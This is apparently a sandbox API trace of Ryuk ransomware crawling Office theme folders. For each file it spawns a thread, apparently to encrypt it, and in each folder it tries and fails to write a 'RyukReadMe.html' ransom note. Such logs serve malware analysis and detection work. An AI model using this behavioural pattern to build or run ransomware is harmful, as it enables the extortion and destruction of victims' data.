	[0166.485] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.485] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0166.485] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c
	[0166.512] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.513] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 1
	[0166.513] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850
	[0166.516] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.516] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1
	[0166.516] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854
	[0166.519] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.519] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0166.520] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858
	[0166.522] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.523] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0166.523] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0166.523] SetLastError (dwErrCode=0x0) 
	[0166.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.524] GetLastError () returned 0x5
	[0166.524] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0166.524] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.524] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1
	[0166.524] SetLastError (dwErrCode=0x0) 
	[0166.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.525] GetLastError () returned 0x5
	[0166.525] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0166.525] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.525] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0166.527] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.527] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0166.527] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c
	[0166.530] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.531] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1
	[0166.531] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860
	[0166.533] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.534] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1
	[0166.534] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.535] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864
	[0166.536] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.537] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0166.537] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x868
	[0166.539] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.539] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0166.539] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0166.540] SetLastError (dwErrCode=0x0) 
	[0166.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.540] GetLastError () returned 0x5
	[0166.540] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0166.540] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.540] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1
	[0166.540] SetLastError (dwErrCode=0x0) 
	[0166.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.541] GetLastError () returned 0x5
	[0166.541] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0166.541] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.541] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0166.544] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.544] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0166.544] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x86c
	[0166.736] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.736] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1
	[0166.737] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870
	[0166.741] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.742] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1
	[0166.742] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x874
	[0166.744] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.745] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0166.745] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x878
	[0166.747] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.748] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0166.748] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0166.748] SetLastError (dwErrCode=0x0) 
	[0166.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.748] GetLastError () returned 0x5
	[0166.748] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0166.749] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.749] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1
	[0166.749] SetLastError (dwErrCode=0x0) 
	[0166.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.749] GetLastError () returned 0x5
	[0166.749] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0166.749] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.749] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0166.750] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.750] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0166.750] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c
	[0166.753] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.754] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1
	[0166.754] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x880
	[0166.756] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
